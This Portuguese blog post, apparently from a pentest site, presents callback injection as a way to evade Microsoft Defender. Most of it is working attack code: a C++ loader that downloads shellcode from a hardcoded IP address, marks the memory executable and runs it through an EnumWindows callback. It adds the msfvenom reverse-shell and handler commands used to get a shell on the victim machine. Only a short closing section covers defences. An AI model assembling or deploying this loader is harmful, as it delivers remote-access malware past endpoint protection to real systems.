Callback Injection: A Técnica que Nocauteou o Microsoft Defender

Callback Injection: A Técnica que Nocauteou o Microsoft Defender

Descubra como a técnica de Callback Injection contorna as defesas do Windows Defender, permitindo a execução de código malicioso sem detecção. Aprenda sobre o funcionamento, o código de exemplo e as medidas de proteção.

MundiX News·01 de maio de 2026·7 min de leitura·👁 1 views

Callback Injection: A Técnica que Nocauteou o Microsoft Defender

Sou Daniil Stepanov, um pentester em uma grande empresa de segurança cibernética na Rússia. Meu foco principal é em pentests internos, pesquisa de técnicas de evasão e automação de exploits. Hoje, vamos analisar uma técnica interessante chamada Callback Injection (onde nem sequer vamos ofuscar o shellcode do Metasploit 0_0).

Conteúdo:

  • Introdução: O problema da injeção clássica
  • O que é Callback Injection
  • Por que funciona contra o Defender
  • Análise completa da técnica (com código)
  • Demonstração de funcionamento
  • Como se proteger
  • Conclusão

1. Introdução

Imagine a seguinte situação: você está em um pentest, tem um shellcode, mas o Windows Defender bloqueia qualquer chamada suspeita. CreateRemoteThread é detectado. QueueUserAPC é detectado. NtCreateThreadEx é detectado. O que fazer?

A resposta: não crie threads você mesmo, mas peça ao Windows para fazer isso por você. Callback Injection é uma técnica na qual você "empresta" um thread legítimo do Windows, forçando-o a executar seu código por meio de mecanismos oficiais de callback.

2. O que é Callback Injection

Um callback é uma função que você passa para o Windows para que o sistema a chame quando um determinado evento ocorre. O Windows contém centenas de mecanismos de callback:

  • EnumWindows - para enumerar janelas
  • EnumChildWindows - para janelas filhas
  • EnumFonts - para enumerar fontes
  • SetTimer - para temporizadores
  • SetWinEventHook - para eventos

E muitos outros...

A ideia é que você:

  1. Aloca memória com o shellcode
  2. Muda a proteção para executável
  3. Passa o ponteiro para o shellcode como lParam
  4. No callback, simplesmente o executa

O Windows chama seu código em seu próprio thread.

3. Por que funciona contra o Defender

Por que EnumWindows não é detectado?

EnumWindows é uma função legítima usada por milhares de aplicativos. O callback é chamado dentro de ntdll!ZwEnumerateWindows, o que parece uma chamada de sistema normal. EDRs raramente verificam o que exatamente é executado no callback.

4. Análise completa da técnica (com código)

Passo 1: Baixando o shellcode do servidor

c
std::vector<BYTE> DownloadFile(const wchar_t* server, int port, const wchar_t* path) {
    HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 
                                      WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    HINTERNET hConnect = WinHttpConnect(hSession, server, port, 0);
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, 
                                             WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    
    WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, 
                       WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    WinHttpReceiveResponse(hRequest, NULL);
    
    std::vector<BYTE> result;
    BYTE buffer[4096];
    DWORD bytesRead;
    while (WinHttpReadData(hRequest, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
        result.insert(result.end(), buffer, buffer + bytesRead);
    }
    
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    
    return result;
}

Passo 2: Função Callback

c
BOOL CALLBACK InjectionCallback(HWND hwnd, LPARAM lParam) {
    // lParam contém um ponteiro para nosso shellcode
    void (*shellcode)() = (void(*)())lParam;
    
    // Executa!
    shellcode();
    
    // Para a enumeração após a primeira janela
    return FALSE;
}

Passo 3: Lógica principal

c
int main() {
    // 1. Baixa o shellcode
    auto shellcode = DownloadFile(L"31.44.0.193", 8080, L"/payload.bin");
    
    // 2. Aloca memória
    LPVOID pMemory = VirtualAlloc(NULL, shellcode.size(), 
                                   MEM_COMMIT | MEM_RESERVE, 
                                   PAGE_READWRITE);
    
    // 3. Copia
    memcpy(pMemory, shellcode.data(), shellcode.size());
    
    // 4. Muda a proteção para executável
    DWORD oldProtect;
    VirtualProtect(pMemory, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect);
    
    // 5. Inicia via callback
    EnumWindows((WNDENUMPROC)InjectionCallback, (LPARAM)pMemory);
    
    // 6. Limpeza (não chegamos aqui se o shellcode for bem-sucedido)
    VirtualFree(pMemory, 0, MEM_RELEASE);
    
    return 0;
}

O que acontece por baixo dos panos?

  1. VirtualAlloc → aloca memória (PAGE_READWRITE)
  2. memcpy → copia o shellcode
  3. VirtualProtect → muda a proteção para PAGE_EXECUTE_READWRITE
  4. EnumWindows → enumera todas as janelas, chamando seu callback
  5. Callback → executa o shellcode
  6. Shellcode → por exemplo, um reverse shell

Ponto importante:

O código é executado no contexto do thread que chamou EnumWindows. Este é o thread do seu processo, então o shellcode será executado com as mesmas permissões que seu programa.

5. Demonstração de funcionamento

  1. Preparamos nossa máquina de teste (ativamos tudo no Defender).

  2. Demonstração do Defender em execução.

  3. Preparamos nosso shellcode e iniciamos um servidor em um VPS:

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=ip LPORT=4444 -f raw -o shellcode.bin

    python3 -m http.server 8080

    Geramos o shellcode e iniciamos o servidor.

  4. Mudamos as variáveis no código.

    Variáveis que precisam ser alteradas para seu IP/PORT.

    Se você for usar meu código para teste, precisará alterar esses valores para os seus.

  5. Executamos o exploit/multi/handler para obter um shell.

    Configuração e execução do exploit/multi/handler.

  6. Executamos nosso código na vítima e obtemos um shell!

    PROFIT!

6. Como se proteger

Para defensores:

  • Monitore as chamadas VirtualProtect com a alteração da proteção para PAGE_EXECUTE_READWRITE.
  • Analise as funções de callback - verifique se lParam aponta para memória executável.
  • Use EDR com análise comportamental - CrowdStrike e Carbon Black detectam essa técnica em nível comportamental.
  • Ative o controle de aplicativos (WDAC/AppLocker).

7. Conclusão

Callback Injection não é uma técnica nova, mas ainda funciona em muitos sistemas.

Por que estou compartilhando isso?

Porque entender os métodos de ataque é o primeiro passo para impedi-los. O Windows Defender se defende muito bem contra métodos "escolares", mas ainda é vulnerável a técnicas avançadas.

O que vem a seguir?

PS: O código completo com comentários foi postado no GitHub (https://github.com/NewComrade12211/callbackinjection/blob/main/callbackinjection.cpp).

No próximo artigo, falarei sobre a extensão da técnica - usando outras funções de callback (EnumChildWindows, EnumFonts, EnumPrinters). E também mostrarei como ofuscar o shellcode para contornar até mesmo a análise comportamental. Assine o canal do Telegram para não perder https://t.me/c2signals.

🛡️⚡

Pare de pesquisar. Comece a hackear.

O MundiX é seu copiloto de pentest com IA: comandos exatos, análise de outputs e próximo passo na kill chain — em segundos.

Testar grátis por 7 dias →

Sem cartão para começar · Planos a partir de R$49/mês

📤 Compartilhar & Baixar

📩 Newsletter MundiX

Receba novidades de cibersegurança + um checklist de pentest grátis. Sem spam.

Ao assinar você concorda em receber e-mails. Cancele quando quiser.